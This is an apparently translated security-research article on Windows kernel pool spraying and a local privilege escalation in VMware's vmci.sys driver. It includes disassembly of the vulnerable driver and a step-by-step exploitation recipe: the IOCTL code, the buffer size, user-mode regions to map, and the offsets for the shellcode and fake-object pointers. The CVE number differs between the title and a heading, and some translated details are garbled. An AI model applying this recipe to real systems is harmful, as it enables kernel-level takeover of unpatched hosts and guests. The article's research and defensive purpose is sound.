Star alignment guide: kernel pool spraying and VMware CVE-2013-2406

    If you mess with kernel-mode vulnerabilities in Windows, sooner or later you have to deal with a technique like kernel pool spraying (just don't call it “atomic heap atomization”). I think the ability to control the behavior of the kernel memory pool will be useful for the exploit developer.

    To master this technique, you must have at least an approximate idea of ​​the kernel pool device. In this article I will try to give a description of only the details of its implementation that are significant in the context of the pool spraying technique. The kernel pool device is well understood, so if you still need more in-depth knowledge, you can contact any search service or the links at the end of the article.

    Overview of the kernel pool structure


    Kernel memory pool - a single place in the kernel of the operating system where you can go with a request for allocation of memory. Stacks in kernel mode are small and suitable only for storing several variables, which are not arrays. When a driver needs to create a large data structure or string, he can use different interfaces to allocate memory, but in the end they will lead to memory from the pool. ”

    There are several types of pools, but all of them have the same structure (except for the special pool (special pool), which is used by the driver verifier utility). Each pool has a control structure called a pool descriptor. Among other things, it stores lists of free blocks (chunk) of the pool, which form the free space of the pool. The pool itself consists of pages of memory. They can be standard 4-megabyte or large 2-megabyte. The number of pages used is dynamically adjusted.

    The pages of the kernel pool are divided into fragments of different sizes - blocks (chunk). It is the blocks that are allocated to kernel modules when they request allocation of memory from the pool.



    Blocks contain the following metadata:
    • Previous size - the size of the previous block.
    • Pool index is used in situations when there are several pools of the same type. For example, there are several paged pools in the system. This field is used to determine which pool the block belongs to.
    • Block size - the size of the current block. Similar to the previous size field, its size is encoded as
      (block data size + header size + optional 4 bytes of a pointer to the process that occupied the block) >> 3 (or >> 4 for x64 systems).
    • Pool type is a set of bit flags that are not documented (!).
      • T (Tracked): the block is tracked by the driver check utility. This flag is used for debugging.
      • S (Session): the block belongs to the paged pool of the session, which is used to allocate memory for specific user-session data.
      • Q (Quota): the block is registered with the quota management system. This flag applies only to 32-bit systems. If it is set, a pointer to the process that owns this block is written to the end of the block.
      • U (In use): The block is currently in use. Unlike the “used” state, a block can be free, which means that memory can be allocated from it. This flag is in the second bit, starting with Windows Vista, before that it was in the third bit.
      • B (Base pool): this field determines which base pool the block belongs to. There are two basic pools - paged and non paged. The non-pumped one is encoded with zero, the pumped one with one. Prior to Windows Vista, this flag occupied two bits, since it was encoded as (base pool type + 1), i.e. 0x10 for the paged pool and 0x1 for the non paged pool.
    • Pool tag is used for debugging purposes. Kernel modules indicate a signature of four printable characters identifying the subsystem or driver to which the block belongs. For example, the tag “NtFs” means that the block belongs to the NTFS ntfs.sys file system driver.

    The block structure has a couple of differences on 64-bit systems. Firstly, the header fields are larger, and secondly, there is an 8-byte field with a pointer to a process that uses this block.



    Overview of principles for allocating memory in a pool


    Imagine that the pool is empty. I mean, there is no place at all in it. If we try to allocate memory from it (say, less than 0xFF0 bytes), the memory page will be allocated first, and then the block located at the beginning of the page will be allocated on it.



    Now we have two blocks - the one we allocated, and free. Free, in turn, can be used in subsequent memory allocation operations. However, from now on, the pool allocator will place the allocated blocks at the end of the page or free space on this page.



    When it comes to freeing blocks, the process described is exactly the opposite. Blocks become free and merge into one block if they are adjacent.



    Note that the described situation is fictitious and is used only as an example, since in practice pools are filled with memory pages long before the pool is ready for use by kernel modules.

    Controlling memory allocation from pools


    Keep in mind that kernel pools are highly loaded operating system entities. First of all, they are used to create all kinds of objects and internal data structures of the kernel. In addition, pools are used in many system calls to buffer user-mode parameters. Since the operating system constantly maintains hardware through drivers and software through system calls, you can roughly estimate the frequency of use of the pool, even during system downtime.

    Sooner or later, pools become fragmented. This is due to allocations and deallocations of memory blocks of different sizes in a different order. Therefore, the term spraying appears. When sequentially allocating memory from the pool, the blocks do not have to be contiguous at all, and most likely they will be in different parts of the memory. Therefore, when we fill the memory with controlled (red) blocks, it is more likely that we will see a picture on the left than on the right.



    However, there is a circumstance that is significant in the context of exploitation: when there are no black regions when “shaded”, we get a brand new one, without extra spots. And from that moment on, the “spray brush” turns into a regular one, with a solid fill. This fact gives us a significant level of control over the behavior of the pool and its "picture". Significant is not complete control, because even in this case there is no guarantee that we completely own the “picture”, because someone else can always interrupt us with “splashes” of another color.



    Depending on the type of object used for pool spraying, we have the ability to create windows of a given size from free blocks by deleting the required number of previously created objects. But the most important fact that allows us to control the allocation of memory from the pool is that the allocator strives for maximum performance. For the most efficient use of the processor cache, the last freed memory block will be the first allocated. This is the whole point of controlled allocation, because it is possible to guess the address of the allocated block.

    Of course, block size matters. Therefore, you must first calculate the window size from the freed blocks. If we want to control the allocation of a block size of 0x315 bytes with the size of the objects for pool spraying 0x20 bytes, it is necessary to free 0x315 / 0x20 = (0x18 + 1) blocks. I think this is understandable.

    A few notes on how to successfully use the kernel pool spraying technique:
    • If there is no possibility of allocating memory from pools using an operated driver, there is always the opportunity to use objects of the operating system as objects for pool spraying. Since OS objects, oddly enough, are stored in the OS kernel, memory for them is allocated from various pools.
      • A non-paged pool stores processes, threads, semaphores, mutexes, etc.
      • The swap pool stores directory objects (directory object), registry keys, sections (so-called file associations or file mapping), etc.
      • The session pool stores objects of the GDI and USER subsystems: palettes, device contexts (DC), brushes, etc.
      In order to free the memory occupied by these objects, it is enough to close the corresponding descriptors.
    • By the time we start filling the pool with objects, it will contain a number of memory pages from which blocks can be allocated. However, these pages will be fragmented. Since we need to get space with continuous filling with controlled blocks, the first thing we need to do is “spam” the pool so that there is no free space on the current pages. Only in this case will fresh pages be available to us, which can be sequentially filled with controlled blocks. In short, you need to create many objects.
    • When calculating the required window size, also consider the size of the block header, as well as the fact that the final size is rounded up to 8 and 16 bytes on 32-bit and 64-bit systems, respectively.
    • Despite the fact that we can control the allocation of blocks, it is rather difficult to predict their relative position. However, when using OS objects for pool spraying, it is possible to find out the address of an object by its descriptor using the NtQuerySystemInformation () function with the SystemExtendedHandleInformation parameter. The information provided to her is necessary to improve the accuracy of pool spraying.
    • Keep balance when pool spraying. Do not be greedy when selecting objects. Obviously, it is impossible to control the allocation of blocks if the memory in the system simply runs out.
    • One of the tricks to increase the reliability of exploits using the kernel pool is to increase the priority of the thread that performs pool spraying and initiates the vulnerability. Since threads are essentially in a constant race for pool memory, it is useful to increase the priority of using heaps by increasing the chance of being executed more often than other threads in the system. This will help the technique to be more holistic. Also take into account the delay between pool spraying and the initiation of the vulnerability: the smaller it is, the greater the chance that we will fall into the block we need.


    VMware CVE 2013-1406


    In early February, interesting recommendations were released for updating VMware products. Judging by them, a vulnerability was present in the non-updated components, leading to a local privilege escalation on both the main and the guest OS. Such “tasty” vulnerabilities cannot be ignored.

    The vulnerable component was vmci.sys. VMCI stands for Virtual Machine Communication Interface. This interface is used for interaction between virtual machines and the main OS. VMCI provides a proprietary type of socket implemented as a Windows Socket Service Provider in the vsocklib.dll library. The vmci.sys driver creates a virtual device that implements the necessary functionality. It is always running on the main OS. As for guest systems, for VMCI to work, VMware tools must be installed.

    When writing any review, it’s nice to explain the high-level logic of the vulnerability so that the review turns into a detective story. Unfortunately, in this case this will not succeed, because there is very little open information about the implementation of VMCI. However, I think that exploit developers are not worried about this. At least it’s more profitable to get a working exploit rather than spend a lot of time analyzing how the whole system works.

    PatchDiff has revealed three patched features. All of them related to the processing of the same IOCTL control code 0x8103208C. Apparently, everything specifically went wrong with its processing ...



    The third updated function was eventually called from both the first and second. She had to allocate a block of the requested size multiplied by 0x68 and initialize it by filling it with zeros. This block contains an internal data structure for processing the request. The problem was that the size of the allocated block was indicated in user mode and was not really checked, as a result of which the internal structure was not allocated, which led to some interesting consequences.

    For control code 0x8103208C, the input and output buffer were specified. To get to a weak spot, it is necessary that its size be 0x624 bytes. To process the request, an internal structure of 0x20C bytes was allocated. Its first 4 bytes were filled with the value specified at the address [user_buffer + 0x10]. It was these bytes that were used in the future to highlight the second data structure, the address of which was indicated at the end of the first. With all this, regardless of the result of the allocation of the second structure, a certain dispatch function was called.

    Dispatcher function
    .text:0001B2B4     ; int __stdcall DispatchChunk(PVOID pChunk)
    .text:0001B2B4     DispatchChunk   proc near               ; CODE XREF: PatchedOne+78
    .text:0001B2B4                                             ; UnsafeCallToPatchedThree+121
    .text:0001B2B4
    .text:0001B2B4     pChunk          = dword ptr  8
    .text:0001B2B4
    .text:0001B2B4 000                 mov     edi, edi
    .text:0001B2B6 000                 push    ebp
    .text:0001B2B7 004                 mov     ebp, esp
    .text:0001B2B9 004                 push    ebx
    .text:0001B2BA 008                 push    esi
    .text:0001B2BB 00C                 mov     esi, [ebp+pChunk]
    .text:0001B2BE 00C                 mov     eax, [esi+208h]
    .text:0001B2C4 00C                 xor     ebx, ebx
    .text:0001B2C6 00C                 cmp     eax, ebx
    .text:0001B2C8 00C                 jz      short CheckNullUserSize
    .text:0001B2CA 00C                 push    eax             ; P
    .text:0001B2CB 010                 call    ProcessParam	; We won’t get here
    .text:0001B2D0
    .text:0001B2D0     CheckNullUserSize:                      ; CODE XREF: DispatchChunk+14
    .text:0001B2D0 00C                 cmp     [esi], ebx
    .text:0001B2D2 00C                 jbe     short CleanupAndRet
    .text:0001B2D4 00C                 push    edi
    .text:0001B2D5 010                 lea     edi, [esi+8]
    .text:0001B2D8
    .text:0001B2D8     ProcessUserBuff:                        ; CODE XREF: DispatchChunk+51
    .text:0001B2D8 010                 mov     eax, [edi]
    .text:0001B2DA 010                 test    eax, eax
    .text:0001B2DC 010                 jz      short NextCycle
    .text:0001B2DE 010                 or      ecx, 0FFFFFFFFh
    .text:0001B2E1 010                 lea     edx, [eax+38h]
    .text:0001B2E4 010                 lock xadd [edx], ecx
    .text:0001B2E8 010                 cmp     ecx, 1
    .text:0001B2EB 010                 jnz     short DerefObj
    .text:0001B2ED 010                 push    eax
    .text:0001B2EE 014                 call    UnsafeFire      ; BANG!!!!
    .text:0001B2F3
    .text:0001B2F3     DerefObj:                               ; CODE XREF: DispatchChunk+37
    .text:0001B2F3 010                 mov     ecx, [edi+100h] ; Object
    .text:0001B2F9 010                 call    ds:ObfDereferenceObject
    .text:0001B2FF
    .text:0001B2FF     NextCycle:                              ; CODE XREF: DispatchChunk+28
    .text:0001B2FF 010                 inc     ebx
    .text:0001B300 010                 add     edi, 4
    .text:0001B303 010                 cmp     ebx, [esi]
    .text:0001B305 010                 jb      short ProcessUserBuff
    .text:0001B307 010                 pop     edi
    .text:0001B308
    .text:0001B308     CleanupAndRet:                          ; CODE XREF: DispatchChunk+1E
    .text:0001B308 00C                 push    20Ch            ; size_t
    .text:0001B30D 010                 push    esi             ; void *
    .text:0001B30E 014                 call    ZeroChunk
    .text:0001B313 00C                 push    'gksv'          ; Tag
    .text:0001B318 010                 push    esi             ; P
    .text:0001B319 014                 call    ds:ExFreePoolWithTag
    .text:0001B31F 00C                 pop     esi
    .text:0001B320 008                 pop     ebx
    .text:0001B321 004                 pop     ebp
    .text:0001B322 000                 retn    4
    .text:0001B322     DispatchChunk   endp
    


    This dispatch function looked for a pointer to process. Processing included dereferencing of some object and calling of some function depending on the flags set in the structure. But since it was not possible to isolate the structure for processing with incorrect parameters, the dispatch function simply “passed” beyond the border of the first block. Such processing led to an access violation and a blue screen of death.


    Thus, we are able to execute arbitrary code at a controlled address:

    .text:0001B946     UnsafeFire      proc near               
    .text:0001B946                                             
    .text:0001B946
    .text:0001B946     arg_0           = dword ptr  8
    .text:0001B946
    .text:0001B946 000                 mov     edi, edi
    .text:0001B948 000                 push    ebp
    .text:0001B949 004                 mov     ebp, esp
    .text:0001B94B 004                 mov     eax, [ebp+arg_0]
    .text:0001B94E 004                 push    eax
    .text:0001B94F 008                 call    dword ptr [eax+0ACh]	; BANG!!!!
    .text:0001B955 004                 pop     ebp
    .text:0001B956 000                 retn    4
    .text:0001B956     UnsafeFire      endp
    


    Exploitation


    Since the dispatch function extends beyond the boundary of the block, it occurs either with the neighboring block, or with an unprojected page. If it goes into an unprojected memory, an unhandled exception will occur, and therefore a “blue screen” will be displayed. But when it hits a neighboring block, the dispatch function interprets its header as a pointer to a structure for processing.

    Suppose there is an x86 system. The four bytes that the dispatch function tries to interpret as a pointer are actually the Previous Block Size, Pool Index, Current Block Size, and Pool Type flags. Since we know the size and index of the pool for the block being processed, we know the meaning of the low word of the pointer:

    0xXXXX0043 - 0x43 is the size of the block, which becomes the Previous Size field for the neighboring one. 0 - the pool index, which is guaranteed to be exactly zero, since these blocks are in the non-pumped pool, and it is only one in the system. Note that if neighboring blocks share the same memory page, they belong to the same type and index of the pool.

    The high word stores the block size, which we cannot predict, and the pool type flags, which, on the contrary, can be predicted:
    • B = 0: block from the nonpaged pool
    • U = 1: implies that the block is in use
    • Q = 0/1: the block can be quota
    • S = 0: the pool is not session
    • T = 0: block is not trackable by default
    • Unused bits are zero

    Thus, we have the following memory regions valid for Windows 7 and 8:
    • 0x04000000 - 0x06000000 for regular blocks
    • 0x14000000 - 0x16000000 for quota blocks

    Based on the information above, you can independently calculate the memory regions for Windows XP and the like.

    As you can see, these regions belong to the user space, so we can force the dispatch function to execute any code, including those controlled by us. To do this, you first need to project the indicated memory regions in the process, and then for every 0x10000 bytes, satisfy the requirements of the dispatch function:
    1. At the address [0x43 + 0x38], it is necessary to put DWORD = 0x00000001 to satisfy the following condition:
      .text:0001B2E1 010                 lea     edx, [eax+38h]
      .text:0001B2E4 010                 lock xadd [edx], ecx
      .text:0001B2E8 010                 cmp     ecx, 1
      
    2. At the address [0x43 + 0xAC] you must place a pointer to the shell code.
    3. At the address [0x43 + 0x100], you need to place a pointer to the shell object, which will be dereferenced by the ObfDereferenceObject () function. Note that the reference counter is stored in the header with a negative offset in relation to the object, so make sure that the code in the ObfDereferenceObject () function does not fall on an unprojected region. Also specify the appropriate value for the reference counter, because, for example, when the reference counter reaches zero, ObfDereferenceObject () will try to free memory by functions that are completely unsuitable for user mode memory.

    Bear in mind that offsets may vary for different VMware products.

    Everything is done right!

    Increased exploit stability


    Despite the fact that we have developed a good strategy for exploiting this vulnerability, it is still unreliable. For example, a dispatch function may fall on a free block, the fields of which cannot be predicted. Despite the fact that the title of such a block will be interpreted as a pointer (because it is not equal to zero), the result of its processing will be a blue screen error. This will also happen when the dispatching function falls into an unprojected area of ​​memory.

    In this case, the kernel pool spraying technique comes to the rescue. As a pool spraying object, I chose semaphores, since they are the most suitable in size. As a result of using this technique, the stability of the exploit has increased significantly.

    Let me remind you that support for such a protection mechanism as SMEP appeared in Windows 8, so laziness of the developer complicates the development of the exploit somewhat. Writing base-independent code with SMEP bypass remains an exercise for the reader.

    As for x64 systems, there is a problem with the size of the pointer becoming 8 bytes. This means that the oldest double word (DWORD) of the pointer will fall into the Pool Tag field. And since most drivers and kernel subsystems use ASCII characters for such labels, the pointer falls into the noncanonical address space and cannot be used for operation. At the time of writing, I did not think up anything sensible about this.

    Total


    I hope the information provided was helpful. I apologize for not being able to fit everything you need into a couple of paragraphs. I wish you success in research and operation in the name of a complete increase in the level of security.

    PS I remind you that to eliminate the vulnerability, you need to update not only the main, but all guest systems!
    PPS If you feel some discomfort with the translation of certain terms, be prepared to put up with it in the future, since this translation is recommended on the Microsoft language portal .

    Demo!


    References
    [1] Tarjei Mandt. Kernel Pool Exploitation on Windows 7. Black Hat DC, 2011
    [2] Nikita Tarakanov. Kernel Pool Overflow from Windows XP to Windows 8. ZeroNights, 2011
    [3] Kostya Kortchinsky. Real world kernel pool exploitation. SyScan, 2008
    [4] SoBeIt. How to exploit Windows kernel memory pool. X'con, 2005

    Also popular now: